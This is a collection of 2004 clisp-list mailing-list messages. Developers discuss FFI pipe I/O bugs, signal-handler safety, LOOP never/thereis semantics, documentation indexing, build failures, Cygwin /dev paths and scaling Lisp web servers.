   ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN) '(GO SYSTEM::END-LOOP))))))


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http://clisp.cons.org/impnotes/idx.html

Only very little terms and implementation specific functions are indexed.
For example, EXT:MAKE-BUFFERED-INPUT-STREAM is not present.


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Subject: [clisp-list] linux:write bogus
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Date: Fri Oct 22 01:27:04 2004
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It seems to me that the declaration of linux:|write-help| is bogus:


[67]> (multiple-value-bind (res fds) (linux:|pipe|)
  (ffi:with-foreign-string
   (fstr flen fsiz "Hello")
   (print `(wrote ,(linux:|write| (aref fds 1) fstr)))
   (ffi:with-foreign-object 
    (buf '(ffi:c-array ffi:uchar 512))
    (let ((rlen (linux:|read| (aref fds 0) buf 512)))
      (print `(read ,rlen))
      (dotimes (i rlen)
        (princ (code-char (ffi:element (ffi:foreign-value buf) i))))))))


*** - The macro LINUX:write may not be called with 2 arguments: (LINUX:write (AREF FDS 1) FSTR)

[68]> (ffi:def-call-out linux:|write-helper|
    (:arguments (fd ffi:int) (buf ffi:c-pointer)
                (nbytes linux:|size_t|) (no-hang-p ffi:boolean))
  (:return-type linux:|ssize_t|) (:name "write_helper"))
WARNING:
(FFI:DEF-CALL-OUT LINUX:write-helper
 (:ARGUMENTS (FD FFI:INT) (BUF FFI:C-POINTER) (NBYTES LINUX:size_t)
  (NO-HANG-P BOOLEAN))
 (:RETURN-TYPE LINUX:ssize_t) (:NAME "write_helper")): No :LANGUAGE argument and no FFI:DEFAULT-FOREIGN-LANGUAGE form in this compilation unit; :STDC assumed now and for the rest of this unit
WARNING:
DEFUN/DEFMACRO: redefining function LINUX:write-helper in top-level, was defined in /usr/local/src/clisp-2.33.2/src/bindings/glibc/linux.fas
LINUX:write-helper

[69]> (without-package-lock ("LINUX")
  (defmacro linux:|write| (fd buf nbytes) `(linux:|write-helper| ,fd ,buf ,nbytes nil)))
WARNING:
DEFUN/DEFMACRO: redefining macro LINUX:write in top-level, was defined in /usr/local/src/clisp-2.33.2/src/bindings/glibc/linux.fas
LINUX:write

[70]> (multiple-value-bind (res fds) (linux:|pipe|)
  (ffi:with-foreign-string
   (fstr flen fsiz "Hello")
   (print `(wrote ,(linux:|write| (aref fds 1) fstr fsiz)))
   (ffi:with-foreign-object 
    (buf '(ffi:c-array ffi:uchar 512))
    (let ((rlen (linux:|read| (aref fds 0) buf 512)))
      (print `(read ,rlen))
      (dotimes (i rlen)
        (princ (code-char (ffi:element (ffi:foreign-value buf) i))))))))


(WROTE 6) 


By the way, this dead-locks while the normal similar C program works
perfectly. Why?


$ make pipe
gcc     pipe.c   -o pipe
$ ./pipe
wrote 6
read 6
Hello
$ cat pipe.c
#include <stdlib.h>
#include <stdio.h>

    int main(void){
        int res;
        int fds[2];
        char buffer[512];
        res=pipe(fds);
        if(res<0){perror("write");return(1);}
        printf("wrote %d\n",write(fds[1],"Hello",6));
        res=read(fds[0],buffer,512);
        if(res<0){perror("read");return(1);}
        printf("read %d\n%s\n",res,buffer);
        return(0);}

/*** pipe.c                           --                     --          ***/

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Date: Fri Oct 22 01:28:22 2004
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The documentation of MAKE-STREAM says:

The handle is duplicated (with dup/dup2), so it is safe to CLOSE  a
STREAM returned by EXT:MAKE-STREAM.

But:

(defun make-unix-pipe (&key (element-type 'character) 
                       (external-format CUSTOM:*FOREIGN-ENCODING*)
                       (buffered t))
  (multiple-value-bind (res fds) (linux:|pipe|)
    (unless (= 0 res)
      (error "unix pipe: ~A" (linux:|strerror| (linux:|errno|))))
    (let ((inp (ext:make-stream (aref fds 0) 
                                    :direction :input
                                    :element-type element-type
                                    :external-format external-format
                                    :buffered buffered))
          (out (ext:make-stream (aref fds 1) 
                                    :direction :output
                                    :element-type element-type
                                    :external-format external-format
                                    :buffered buffered)))
      (print (list  (aref fds 0) inp (aref fds 1) out))
      (linux:|close| (aref fds 0))
      (linux:|close| (aref fds 1))
      (values inp out))));;make-unix-pipe
                             

[5]> (make-unix-pipe)

(4 #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/dev/fd/4" @1> 
 5 #<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"/dev/fd/5">) 

#<INPUT BUFFERED FILE-STREAM CHARACTER #P"/dev/fd/4" @1> ;
#<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"/dev/fd/5">

does not seem to have duped the file descriptor, and indeed, using the
returned stream after having closed the original fds does not work...

Unfortunately, removing the linux:|close| calls won't change anything
because pipe I/O doesn't seem to work anyway (cf my message about
write-helper).

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[12]> (ffi:def-call-out unix-read
                  (:arguments (fd ffi:int) (buf ffi:c-pointer) 
                              (nbytes linux:|size_t|))
                  (:return-type linux:|ssize_t|)
                  (:name "unix_read")
                  (:library "libunix-unistd.so")
                  (:language :stdc))

(ffi:def-call-out unix-write
                  (:arguments (fd ffi:int) (buf ffi:c-pointer)
                              (nbytes linux:|size_t|))
                  (:return-type linux:|ssize_t|)
                  (:name "unix_write")
                  (:library "libunix-unistd.so")
                  (:language :stdc))

UNIX-READ
[13]> UNIX-WRITE
[14]> (multiple-value-bind (res fds) (linux:|pipe|)
  (ffi:with-foreign-string
   (fstr flen fsiz "Hello")
   (print `(wrote ,(unix-write (aref fds 1) fstr fsiz)))
   (ffi:with-foreign-object 
    (buf '(ffi:c-array ffi:uchar 512))
    (let ((rlen (unix-read (aref fds 0) buf 512)))
      (print `(read ,rlen))
      (dotimes (i rlen)
        (princ (code-char (ffi:element (ffi:foreign-value buf) i))))))))


(WROTE 6) 
(READ 6) Hello
NIL
[15]> (cat "unix-unistd.c")
#include <unistd.h>

    int unix_read (int fd,void* buf,size_t count) {return(read (fd,buf,count));}
    int unix_write(int fd,void* buf,size_t count) {return(write(fd,buf,count));}

/*** unix-unistd.c                    --                     --          ***/

[16]> (cat "Makefile")
all: libunix-unistd.so
libunix-unistd.so:unix-unistd.o
	ld -shared -fPIC $< -o $@
CFLAGS=-shared -fPIC

#### Makefile                         --                     --          ####

[17]> 

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 > From: "Pascal J.Bourguignon" <pjb@informatimago.com>
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 > 
 > Usually, this is a big no-no in signal handlers in C. (About the only
 > thing that can be done safely and portably being to set an atomic
 > global variable).

Pascal,

I'm not sure what the "official rules" are with regard to signal
handlers in C -- actually signal() is a Unix thing not a "C" thing.

In any case, depending on the signal sent, it is frequently safe and
extremely useful to do something non-trivial in the handler.

Certain signals are almost certain to be "safe" such as timer alarms
(SIGALRM), and signals generated by the user himself (SIGUSERn).
Others like memory violation mean something has gone wrong with the
program execution (at the "C" level) itself and things will be less
predictable.

I suspect that it is because of these more benign signals, where one
might reasonably want to be able to do something non-trivial in the
handler, and could do so safely, that the full power is allowed in
the handler.

Hope all that made sense.

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-10-22 10:22:01 +0200]:
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> *** - The macro LINUX:write may not be called with 2 arguments: (LINUX:write (AREF FDS 1) FSTR)

LINUX:write wants 3 arguments.

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> [22]> (linux:set-signal-handler linux:SIGALRM  (lambda (signal) (princ ".")))

Completely undefined behaviour, because signals are asynchronous interrupts.

> *** - +: "." is not a NUMBER

Your signal handler clobbered some global variables inside the clisp
interpreter or bytecode interpreter.

Completely undefined behaviour also, because POSIX does not allow doing
file I/O from within a signal handler.

You are effectively trying to do multithreading on an implementation that
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POSIX - too restricted for doing multithreading.

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-10-22 08:51:44 +0200]:
>
> http://clisp.cons.org/impnotes/idx.html
>
> Only very little terms and implementation specific functions are
> indexed.  For example, EXT:MAKE-BUFFERED-INPUT-STREAM is not present.

fixing this requires going through the XML sources and wrapping every
instance of FOO which is to be mentioned in the index with

<firstterm>FOO<indexterm id="foo" significance="preferred">
   <primary id="foo-i">FOO</primary></indexterm></firstterm>

(note that "foo" should be the ID of the unit where FOO first appears)
See the appended diff for an example.

any volunteers?

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--- impbody.xml	15 Oct 2004 15:23:37 -0400	1.280
+++ impbody.xml	22 Oct 2004 10:55:02 -0400	
@@ -3701,8 +3701,16 @@
 </section>
 
 <section id="stream-buffer"><title>Functions
-  <function>EXT:MAKE-BUFFERED-INPUT-STREAM</function> and
-  <function>EXT:MAKE-BUFFERED-OUTPUT-STREAM</function></title>
+  <firstterm><function>EXT:MAKE-BUFFERED-INPUT-STREAM</function>
+   <indexterm id="stream-buffer-i" significance="preferred">
+    <primary id="stream-buffer-i-i">
+     <function>EXT:MAKE-BUFFERED-INPUT-STREAM</function>
+  </primary></indexterm></firstterm> and
+  <firstterm><function>EXT:MAKE-BUFFERED-OUTPUT-STREAM</function>
+   <indexterm id="stream-buffer-o" significance="preferred">
+    <primary id="stream-buffer-o-i">
+     <function>EXT:MAKE-BUFFERED-OUTPUT-STREAM</function>
+ </primary></indexterm></firstterm></title>
 
 <para><literal role="sexp">(EXT:MAKE-BUFFERED-OUTPUT-STREAM &func-r;)</literal>
  returns a buffered &out-s;.


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-10-22 10:23:24 +0200]:
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> The documentation of MAKE-STREAM says:
>
> The handle is duplicated (with dup/dup2), so it is safe to CLOSE  a
> STREAM returned by EXT:MAKE-STREAM.

fixed the code to comply with the spec.
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Date: Fri Oct 22 12:15:02 2004
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John K. Hinsdale writes:
> 
>  > From: "Pascal J.Bourguignon" <pjb@informatimago.com>
>  > Date: Fri, 22 Oct 2004 07:15:31 +0200 (CEST)
>  > 
>  > Usually, this is a big no-no in signal handlers in C. (About the only
>  > thing that can be done safely and portably being to set an atomic
>  > global variable).
> 
> Pascal,
> 
> I'm not sure what the "official rules" are with regard to signal
> handlers in C -- actually signal() is a Unix thing not a "C" thing.
> 
> In any case, depending on the signal sent, it is frequently safe and
> extremely useful to do something non-trivial in the handler.
> 
> Certain signals are almost certain to be "safe" such as timer alarms
> (SIGALRM), and signals generated by the user himself (SIGUSERn).
> Others like memory violation mean something has gone wrong with the
> program execution (at the "C" level) itself and things will be less
> predictable.
> 
> I suspect that it is because of these more benign signals, where one
> might reasonably want to be able to do something non-trivial in the
> handler, and could do so safely, that the full power is allowed in
> the handler.
> 
> Hope all that made sense.

The problem is not relative to the benign aspect of the signal. It's
relative to the re-entrance of the rest of the program.

Assume you get a SIGALRM while the GC is copying a string value.
(defparameter *example* (format nil "Some text, and some more."))

Let's say for example, that (symbol-value '*example*) is 
   #<string @100248 "Some text, and some more.">
and that the GC has already copied this:
   #<string @081110 "Some text, ______________">

And your signal handler is:

    (let ((count 0))
      (lambda (signal)
         (incf count)
         (replace *example* (format nil "~4D" count) :end1 4)))

Then at the end of the signal handler, you'll have the following strings:

   #<string @100248 "  42 text, and some more.">
   #<string @081110 "Some text, ______________">

and the GC resumes, copying the rest:

   #<string @100248 "  42 text, and some more.">
   #<string @081110 "Some text, and some more.">

and then update the (symbol-value '*example*) which now is:
   #<string @081110 "Some text, and some more.">

Bang! The side effect of the signal handler is lost!


You can easily conceive worse cases.  In the real examples I gave,
clisp enters the debugger for spurious reasons, the execution stack
being apparently corrupted.


One possibility is to put locks everywhere. You'd have to be very
careful not to dead-lock anyway, and if the resources needed by the
signal handler are locked, it can't do anything anyway. I did not want
to  mention performance either.

If you have threads, it's possible to aleviate somewhat the problem
setting up things so one thread is reserved to receive the signals and
the other threads ignore all signals.  Then the normal thread mutex
will come into play and you could more or less safely do anything in
the signal handler.  But clisp hasn't threads...

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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-10-22 10:22:01 +0200]:
> >
> > *** - The macro LINUX:write may not be called with 2 arguments: (LINUX:write (AREF FDS 1) FSTR)
> 
> LINUX:write wants 3 arguments.


Sorry, I did not cut-and-paste the right test. Since it first
complained for too many arguments, I tried with one less assuming it
computed the size  automatically, but the problem was not that.

Here is the right test:

CL-USER> (multiple-value-bind (res fds) (linux:|pipe|)
  (ffi:with-foreign-string (fstr flen fsiz "Hello")
   (print `(wrote ,(linux:|write| (aref fds 1) fstr fsiz)))))


FFI::FOREIGN-CALL-OUT: Too many arguments (4 instead of at most 3) given to #<FOREIGN-FUNCTION
  "write_helper" #x0814AC00>
   [Condition of type SYSTEM::SIMPLE-PROGRAM-ERROR]

Restarts:
  0: [ABORT] Abort handling SLIME request.

Backtrace:
  0: frame binding variables (~ = dynamically):
  | ~ SYSTEM::*FASOUTPUT-STREAM* <--> NIL
  1: EVAL frame for form (LINUX:write-helper (AREF FDS 1) FSTR FSIZ NIL)
  2: EVAL frame for form (LIST 'WROTE (LINUX:write-helper (AREF FDS 1) FSTR FSIZ NIL))
  3: EVAL frame for form (PRINT (LIST 'WROTE (LINUX:write-helper (AREF FDS 1) FSTR FSIZ NIL)))
  4: APPLY frame for call (:LAMBDA '#<FOREIGN-ADDRESS #xBFFFC160> '6 '6)
  5: EVAL frame for form (FFI::EXEC-WITH-FOREIGN-STRING (LAMBDA (FSTR FLEN FSIZ) (PRINT `(WROTE ,#))) "Hello")
  6: EVAL frame for form (FFI:WITH-FOREIGN-STRING (FSTR FLEN FSIZ "Hello") (PRINT `(WROTE ,(LINUX:write # FSTR FSIZ))))
  7: EVAL frame for form (MULTIPLE-VALUE-BIND (RES FDS) (LINUX:pipe) (FFI:WITH-FOREIGN-STRING (FSTR FLEN FSIZ "Hello") (PRINT `(WROTE ,#))))
  8: EVAL frame for form (SWANK:LISTENER-EVAL "(multiple-value-bind (res fds) (linux:|pipe|)
  (ffi:with-foreign-string (fstr flen fsiz \"Hello\")
   (print `(wrote ,(linux:|write| (aref fds 1) fstr fsiz)))))
")
  9: EVAL frame for form (SWANK:START-SERVER "/tmp/slime.22596")
  10: EVAL frame for form (SWANK:START-SERVER "/tmp/slime.22596")

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Date: Fri Oct 22 12:37:01 2004
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Bruno Haible writes:
> > [22]> (linux:set-signal-handler linux:SIGALRM  (lambda (signal) (princ ".")))
> 
> Completely undefined behaviour, because signals are asynchronous interrupts.
> 
> > *** - +: "." is not a NUMBER
> 
> Your signal handler clobbered some global variables inside the clisp
> interpreter or bytecode interpreter.
> 
> Completely undefined behaviour also, because POSIX does not allow doing
> file I/O from within a signal handler.
> 
> You are effectively trying to do multithreading on an implementation that
> doesn't support multithreading, using a technique that is - according to
> POSIX - too restricted for doing multithreading.

Oh. That was what I thought first then (message 
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The example in wrap.lisp (actually, not in linux.lisp), is wrong in
using FORMAT inside the signal handler...

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Date: Fri Oct 22 12:43:04 2004
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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-10-22 21:31:25 +0200]:
>
> Sam Steingold writes:
>> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-10-22 10:22:01 +0200]:
>> >
>> > *** - The macro LINUX:write may not be called with 2 arguments: (LINUX:write (AREF FDS 1) FSTR)
>> 
>> LINUX:write wants 3 arguments.
>
>
> Sorry, I did not cut-and-paste the right test. Since it first
> complained for too many arguments, I tried with one less assuming it
> computed the size automatically, but the problem was not that.
>
> Here is the right test:
>
> CL-USER> (multiple-value-bind (res fds) (linux:|pipe|)
>   (ffi:with-foreign-string (fstr flen fsiz "Hello")
>    (print `(wrote ,(linux:|write| (aref fds 1) fstr fsiz)))))

Indeed, write-helper and read-helper are "broken", i.e.

1. their arg lists were switched (just fixed that)

2. read-helper should be able to use a user-supplied buffer - this
   should be fixable with the recent Joerg's patches, so I will leave
   this to him.

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Date: Fri Oct 22 12:46:02 2004
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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-10-22 08:51:44 +0200]:
> >
> > http://clisp.cons.org/impnotes/idx.html
> >
> > Only very little terms and implementation specific functions are
> > indexed.  For example, EXT:MAKE-BUFFERED-INPUT-STREAM is not present.
> 
> fixing this requires going through the XML sources and wrapping every
> instance of FOO which is to be mentioned in the index with

> <firstterm>FOO<indexterm id="foo" significance="preferred">
>    <primary id="foo-i">FOO</primary></indexterm></firstterm>
> 
> (note that "foo" should be the ID of the unit where FOO first appears)
> See the appended diff for an example.
> 
> any volunteers?

I guess I could write some lisp to do it automatically. (I've got a
parse-html that should be supple enought to parse XML I guess).  But I
won't have time to do it right now...

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-10-22 21:44:43 +0200]:
>
> I guess I could write some lisp to do it automatically. (I've got a
> parse-html that should be supple enought to parse XML I guess).

1. CLOCC/CLLIB/xml.lisp can parse impnotes.xml just fine (actually,
   CLISP impnotes were the main test case there).

2. you cannot do it automatically because you have ot decide which
   objects to link.

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I find this while trying to compile ThinLisp in clisp 2.33.2:

*** - LOOP: ambiguous result of loop 
(LOOP FOR SUBFORM = (CAR SUBFORM-CONS) WHILE SUBFORM-CONS NEVER (ATOM SUBFORM)
 THEREIS (EQUAL SUBFORM '(TL:GO TL::NEXT-LOOP)) DO
 (SETF SUBFORM-CONS (CONS-CDR SUBFORM-CONS)))
 Break 1 TLI[7]> 


Here is what CLHS says about always, never  and thereis:

always:   Otherwise, it provides a default return value of t. 

never:    Unless some other clause contributes a return value, the
          default value returned is t.

thereis:  Unless some other clause contributes a return value, the
          default value returned is nil.


So, the result specified by never and thereis seem to be in
contradiction, but these clauses are not evaluated in parallel!

6.1.1.6 Order of Execution

With the exceptions listed below, clauses are executed in the loop
body in the order in which they appear in the source. Execution is
repeated until a clause terminates the loop or until a return, go, or
throw form is encountered which transfers control to a point outside
of the loop.

Obviously, one of the never or thereis clause will determinte it's
time to return before the other, and then the "unless someother clause
contributes a return value" condition will activate in the other
clause and it won't provide a default value.

IMO, there's absolutely no ambiguity in there.

   (loop never condition-1 
         thereis condition-2 
         while condition-3 
         do body
         finally something)

should mean:

   (loop :loop
         with default-return-value
         do (if condition-1
                (return-from :loop nil)
                (setf default-return-value t))
            (if condition-2
                (setf default-return-value nil)
                (return-from :loop t))
            (if condition-3
                (progn body)
                (loop-finish))
          finally something
                  (return default-return-value))

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Hello,
  I have an UltraSPARCIIi running NetBSD/sparc64-1.6.2. When building clisp 
I get the following error:
./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and 
(load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
Segmentation fault
*** Error code 139

Stop.
make: stopped in /home/sae/build/clisp-2.33.2/src
./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and 
(load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
Segmentation fault
*** Error code 139

Stop.
make: stopped in /home/sae/build/clisp-2.33.2/src

after it builds everything else fine. Anyone else have similar problems?
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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-10-23 21:00:48 +0200=
]:
>
> *** - LOOP: ambiguous result of loop=20
> (LOOP FOR SUBFORM =3D (CAR SUBFORM-CONS) WHILE SUBFORM-CONS NEVER (ATOM S=
UBFORM)
>  THEREIS (EQUAL SUBFORM '(TL:GO TL::NEXT-LOOP)) DO
>  (SETF SUBFORM-CONS (CONS-CDR SUBFORM-CONS)))
> =C2=A0Break 1 TLI[7]>=20
>
> Here is what CLHS says about always, never  and thereis:
>
> always:   Otherwise, it provides a default return value of t.=20
>
> never:    Unless some other clause contributes a return value, the
>           default value returned is t.
>
> thereis:  Unless some other clause contributes a return value, the
>           default value returned is nil.
>
>
> So, the result specified by never and thereis seem to be in
> contradiction, but these clauses are not evaluated in parallel!

suppose neither NEVER nor THEREIS ever trigger.
what is to be returned? T or NIL?
Or would you require us to analyze all FINALLY statements for presence
of non-local returns?

specifically, what would you like this to return:

(loop :for i :from 1 :to 10 :thereis nil :never nil)

LW returns T.
CMUCL issues a warning and returns T.

I think the CLISP approach is the safest and the cleanest.

If you disagree, please raise the issue on c.l.l and see what the other
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I'm trying to figure out how to set up a local lisp development
environment on Linux. I have a system for C/C++/Python world, but when
it comes to lisp I'm lost.

As I install a lot of stuff locally, I try to mimic the root directory
structure with ~/usr/bin, ~/usr/lib, ~/usr/include, ... and set
environment variables CPATH, LIBRARY_PATH, PYTHONPATH, ... as needed.
Coming from a C/C++/Python background this set up makes me
comfortable, and I know how to get around (libs in ~/usr/lib, header
files in ~/usr/include, python packages in
~/usr/lib/python2.3/site-packages, emacs packages in
~/usr/shar/emacs/site-lisp, ...). When I get a new tar ball, it goes
into ~/usr/srt. I then untar it into ~/usr/src where I build the
package and install it.

I see that lisp does not really fit into my neat little
configure..make..make install world. What are the analogous file
structures, routines, ... for lisp?

I've built and done a local install of clisp (prefix = ~/usr) and I
see that things are in their natural place (bin, libs (how are these
use?? what is .mem??), <no header files>). So, where is the natural
place for new common lisp packages like asdf? Do I need to set
environment variables so lisp can find where I put packages/stuff? I
tried to mimic the set up on cliki/Getting Started. I faked a clisp
init file with "alias clisp='clisp -i ~/.clisp-init.lisp'" which runs
~/etc/lsip/lboot/start.lisp which loads some other stuff. ~/etc is
probably not the "right" place for this stuff?!

Anyway, I would like any advice anyone has on setting up an
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routines, ...? What are some of the packages that I will want to get?

Thanks, Jason


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> * Jason Addison <wenqqvfba@tznvy.pbz> [2004-10-25 18:16:33 -1000]:
>
> "alias clisp='clisp -i ~/.clisp-init.lisp'"

$ mv ~/.clisp-init.lisp ~/.clisprc.lisp
<http://clisp.cons.org/clisp.html#opt-norc>

> what is .mem??),
<http://clisp.cons.org/impnotes/image.html>

> <no header files>).
<http://clisp.cons.org/impnotes/modules.html>



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--- Donna and Dan Stanger <dan.stanger@ieee.org>
wrote:

> The gdi package I started may have some support for
> it, if not, its pretty
> easy to add.
> Dan Stanger

There is a cygwin specific solution with the /dev/*
class of files.  I am able to use this from C, so why
doesn't it work from clisp, which is written in C?

The error I get is:

/dev : no such directory

There is no directory named /dev, but fopen calls to
/dev/clipboard succeeds in cygwin with gcc.

Any help is appreciated.

TIA.


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Pascal J.Bourguignon writes:

>In wrap.lisp, there's a signal handling example where the
>test-handler uses format to prints a message.
I can't look at the source for now, but this should be deleted.

>Does clisp implement some special magic to allow it safely?
No.

>Is the whole lisp available during signal handlers?=20
>Are all common-lisp functions reentrants?
>What about garbage collection?

You raise the right questions.
You MUST NOT write signal handlers in Lisp in CLISP.
Remember my e-mail from 21.1.2003 on "must not use signal handlers =
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Elvin Peterson writes:
>There is no directory named /dev, but fopen calls to
>/dev/clipboard succeeds in cygwin with gcc.

>There is a cygwin specific solution with the /dev/*
>class of files.  I am able to use this from C, so why
>doesn't it work from clisp, which is written in C?
>The error I get is:
>/dev : no such directory
This is because CLISP checks all the directories (and possibly symlinks) in pathnames like /foo/bar/zot/file.txt

I'm unsure whether CLISP should add an #ifdef CYGWIN in the source (like there are (or were?) special cases for /proc/)
or whether the cygnus people should add meaningful behaviour to open("/dev").

I remember when the ixmul.library on AmigaOS was changed to return a directory listing when opening "/". cygwin.dll is like ixemul.library for MS-Windows. The present case sounds similar.

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	Jorg Hohle.


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Date: Mon Nov  1 09:58:53 2004
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Hello all,

I'm very new to the Lisp world in general and I'm just
starting to discover it's potential. 

I'm a Java developer, my everyday thing is J2EE
(Servlets, EJB, etc) and I want to set up an
equivalent system in Lisp.

I think I'll use CLisp + mod_lisp + Apache2 for that.
(I chose CLisp because I need to deploy on Windows)
and I'm in the process to figure out all the details.

The problem is, I just discovered CLisp doesn't have
threads and I think that must affect negatively the
scalability when the number of hits start (hopefully)
to grow.

So, my question is: how have you solved this? if every
request from mod_lisp must be served by the same
thread in a first-com-first-serve fashion, how soon
before that "pipe" becomes a botleneck? If I wanted to
have a site with, say, Amazon's load, can I still use
Lisp and have excelent performance? (I hope the answer
is yes here)

Sorry if the whole thing is a non-issue and I just
think I have a problem because of my ignorance. I
guess this is part of "getting" how things work in
Lispland.

Thanks for any help.
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Jaime Barciela wrote:
>I need to deploy on Windows
>and
>If I wanted to
>have a site with, say, Amazon's load

Just curious: I read yesterday for the nth time that high-load servers and MS-Windows do not fit together. Do you have significant evidence to the contrary or do you need powerpoint bullets ("scalable" "threads" "new" "MS-windows" "widely used biz platform")?

On most .ppt presentations I get to see, buzzwords like "scalable", "reliable" etc. are defined to mean a very restricted form of ability (others may call such restricte use a lie) when you start to question them (e.g. "99.99%, well you're right, it's the HW, not the SW nor the OS, nobody knows for the SW").

>So, my question is: how have you solved this? if every
>request from mod_lisp must be served by the same
>thread in a first-com-first-serve fashion, how soon
>before that "pipe" becomes a botleneck?

I'm pretty sure mod_lisp can handle a pool of lisp backends.
In a reliable system configuration, one generally preallocates resources according to available CPU, HD and RAM size and sets maximum limits[*], in this case the number of concurrent CLISP backends, and mod_lisp distributes the load. This works well for 3-tier applications (i.e. a backend database manages concurrency).

Tell me, how many concurrent connections to the DB do J2EE applications use?

But ask the lisp_web + mod_lisp experts.

[*] this is much preferable than to have the system die in a non-controllable way from no more resources under heavy load.

Regards,
	Jorg Hohle.


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Hello Jorg, 

Like you, I wouldn't try to build Amazon on Windows :)

I'm not trying to "enhance" reality here.

On one hand I need the real potential to handle many
requests[*], on the other hand I need the flexibility
to scale it down to any humble PC to serve just a few
people. You could say I'm trying to build a cathedral
out of clay.

> I'm pretty sure mod_lisp can handle a pool of lisp
> backends.

That would be great. Do you think it can grow/shrink
depending on the actual load? In a portable way? I'll
ask in the mod_lisp list, but if you know...

But then I wouldn't have a REPL to fix production
problems anymore, right? I would have several, and
then  the synchronization (say I fix a bug in one)
becomes an issue. Is that how it would work? Or they
will be synchronized somehow (filesystem?) ?

> Tell me, how many concurrent connections to the DB
> do J2EE applications use?

As many as your DB can handle, if you want. In
Weblogic for example you define a pool with a min and
a max capacity, and it will adjust to the load
automatically.

> But ask the lisp_web + mod_lisp experts.

I will.
Thanks for your answer Jorg


[*] I guess not as many as Amazon, but why to put
limits yourself from the very beginning? I'm in the
research phase anyway.


--- "Hoehle, Joerg-Cyril"
<Joerg-Cyril.Hoehle@t-systems.com> wrote:

> Jaime Barciela wrote:
> >I need to deploy on Windows
> >and
> >If I wanted to
> >have a site with, say, Amazon's load
> 
> Just curious: I read yesterday for the nth time that
> high-load servers and MS-Windows do not fit
> together. Do you have significant evidence to the
> contrary or do you need powerpoint bullets
> ("scalable" "threads" "new" "MS-windows" "widely
> used biz platform")?
> 
> On most .ppt presentations I get to see, buzzwords
> like "scalable", "reliable" etc. are defined to mean
> a very restricted form of ability (others may call
> such restricte use a lie) when you start to question
> them (e.g. "99.99%, well you're right, it's the HW,
> not the SW nor the OS, nobody knows for the SW").
> 
> >So, my question is: how have you solved this? if
> every
> >request from mod_lisp must be served by the same
> >thread in a first-com-first-serve fashion, how soon
> >before that "pipe" becomes a botleneck?
> 
> I'm pretty sure mod_lisp can handle a pool of lisp
> backends.
> In a reliable system configuration, one generally
> preallocates resources according to available CPU,
> HD and RAM size and sets maximum limits[*], in this
> case the number of concurrent CLISP backends, and
> mod_lisp distributes the load. This works well for
> 3-tier applications (i.e. a backend database manages
> concurrency).
> 
> Tell me, how many concurrent connections to the DB
> do J2EE applications use?
> 
> But ask the lisp_web + mod_lisp experts.
> 
> [*] this is much preferable than to have the system
> die in a non-controllable way from no more resources
> under heavy load.
> 
> Regards,
> 	Jorg Hohle.
> 


		
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Moin Jaime Barciela,

> On one hand I need the real potential to handle many
> requests[*], on the other hand I need the flexibility
> to scale it down to any humble PC to serve just a few
> people. You could say I'm trying to build a cathedral
> out of clay.

  A humble PC might be fast enough to emulate the MVS system of your
  local bank, and to run a dozen user mode Linux systems same time.
  Compare it with a workstation like a Sun 3/50 (4MB RAM, 500MB harddisk,
  1192x900 monocrom display,ethernet) or a Mainframe (max 16MB RAM, DASD
  disks of 100MB-3GB,token ring) and your humble PC is slow, if you are
  running the wrong operating system.

> > I'm pretty sure mod_lisp can handle a pool of lisp
> > backends.

  I dislike the Apache/mod_XXX approach, if handling a large amount of
  concurrent users. Given a 100MIPS/64MB system Apache/mod_perl/SSL
  drains down to 1.5 transactions per second, using a null database.

  Better do it like the Zope people did, and build your own application
  server that is ansering on port 80. Writing a webserver is an easy
  task, just SSL is a bit tricky and depends on the availability of
  libraries. I think that a garbage collector language, can handle
  a large number of users. Clisp is the only Lisp that has a footprint
  comparable to MVS+CICS. Most other Lisp's are much larger in memory
  consumption. You might want to run a kind of network consolidator on
  port 80, to store requests of application servers telling the number
  of free users, and anser to outside requests with a 'Location:' telling
  ip and port of a free application server. Those application servers
  should use select() to avoid dropping the line, so each server is
  limited to 200 users, if I count about 50 other sockets. One might
  run a really large number of users, if you manage to give each server
  a footprint of lets say 64MB lisp core on a humble PC.

  Call it Clisp/Kicks (instead of Cobol/CICS), if you have time to
  write such a beast.

Bye Michael
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--- "Hoehle, Joerg-Cyril" wrote:

> Elvin Peterson writes:
> >There is no directory named /dev, but fopen calls
> to
> >/dev/clipboard succeeds in cygwin with gcc.
> 
> >There is a cygwin specific solution with the /dev/*
> >class of files.  I am able to use this from C, so
> why
> >doesn't it work from clisp, which is written in C?
> >The error I get is:
> >/dev : no such directory
> This is because CLISP checks all the directories
> (and possibly symlinks) in pathnames like
> /foo/bar/zot/file.txt
> 
> I'm unsure whether CLISP should add an #ifdef CYGWIN
> in the source (like there are (or were?) special
> cases for /proc/)
> or whether the cygnus people should add meaningful
> behaviour to open("/dev").
> 
> I remember when the ixmul.library on AmigaOS was
> changed to return a directory listing when opening
> "/". cygwin.dll is like ixemul.library for
> MS-Windows. The present case sounds similar.
> 

Thanks for the reply.  That is what I suspected.  Is
there a way to turn the directory checking off?

I have received a suggestion about using FFI, and that
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--- Donna and Dan Stanger wrote:

> Now try to use the foreign function interface for
> clisp in cygwin to
> execute the same thing.
> Or post to the clisp mailing list with this example.
> Dan
> 

How can I implement something like this in FFI?

TIA.

> Elvin Peterson wrote:
> 
> > This works:
> >
> > #include <stdio.h>
> >
> > int main(int argc, char **argv){
> >   FILE *fp;
> >   int c;
> >
> >   fp = fopen("/dev/clipboard", "w");
> >   while ((c = getchar()) != EOF)
> >     if (c != '\r')
> >       putc(c, fp);
> >   fclose(fp);
